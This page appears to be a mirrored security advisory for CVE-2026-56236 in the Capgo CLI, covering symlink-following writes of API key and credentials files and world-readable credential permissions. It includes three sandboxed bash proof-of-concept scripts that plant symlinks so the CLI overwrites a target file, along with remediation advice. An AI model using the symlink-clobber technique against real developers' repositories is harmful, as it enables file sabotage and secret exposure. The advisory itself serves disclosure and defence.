@capgo/cli
Affected
- introduced
0, fixed7.84.6(semver)
Fixed versions
7.84.6
Fix
- Fixed version
7.84.6npm install @capgo/[email protected]
Advisory
Also known as: CVE-2026-56236
Capgo CLI: symlink-following local secret writes enable arbitrary file overwrite + world-readable credentials (0600 missing)
Summary
The Capgo CLI writes sensitive local files (.capgo API key file and build credentials JSON) using unsafe file operations that follow symlinks and do not enforce safe permissions. This allows an attacker-controlled repository to cause arbitrary file overwrite on the developer’s machine when the developer runs the CLI inside that repo. Additionally, global build credentials are written with world-readable permissions (664), exposing signing materials on shared systems.
Details
Issue 1 - Arbitrary file overwrite via .capgo symlink (login --local)
Issue 2 - Arbitrary file overwrite via .capgo-credentials.json symlink (build credentials save --local)
Issue 3 - Insecure default permissions for global credentials
PoC
PoC A: .capgo symlink clobber (writes even when API key invalid)
set -euo pipefail
BASE="/tmp/capgo_cli_poc_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered.txt"
mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q
ln -s "$TARGET" .capgo
# This should fail auth, but still overwrites TARGET
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] login "INVALID_KEY_SHOULD_FAIL" --local || true
echo "== TARGET content =="
cat "$TARGET"
_Expected: On invalid key, nothing is written; .capgo should never follow symlinks.
Observed: TARGET contains INVALID_KEY_SHOULD_FAIL._
PoC B: .capgo-credentials.json symlink clobber (no login required)
set -euo pipefail
BASE="/tmp/capgo_creds_symlink_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered_creds.txt"
mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q
ln -s "$TARGET" .capgo-credentials.json
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
--local --platform android --appId com.example.app \
--keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true
echo "== TARGET exists and contains JSON written via symlink =="
ls -la "$TARGET" || true
cat "$TARGET" || true
_Expected: Refuse to write if destination is symlink; ideally require safe location and permissions.
Observed: TARGET is created/overwritten with credentials JSON._
PoC C: global credentials permissions are world-readable
set -euo pipefail
BASE="/tmp/capgo_creds_perm_$(date +%s)"
HOME_SANDBOX="$BASE/home"
mkdir -p "$HOME_SANDBOX"
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
--platform android --appId com.example.app \
--keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true
CREDS="$HOME_SANDBOX/.capgo-credentials/credentials.json"
ls -la "$CREDS" || true
stat -c '%a %U:%G %n' "$CREDS" || true
_Observed: credentials.json created with mode 664 (-rw-rw-r--)._
Impact
>developer environment compromise or sabotage (overwriting config files, scripts, env files)
>accidental or malicious leakage/destruction of secrets
Suggested remediation
>refuse symlink destinations (lstat + isSymbolicLink)
>use safe file creation and enforce permissions (0600 for files; 0700 for directories)
>write atomically (temp file + rename) after safety checks
High Basis: The source's own band: HIGH
0, fixed 7.84.6 (semver)7.84.6
7.84.6npm install @capgo/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0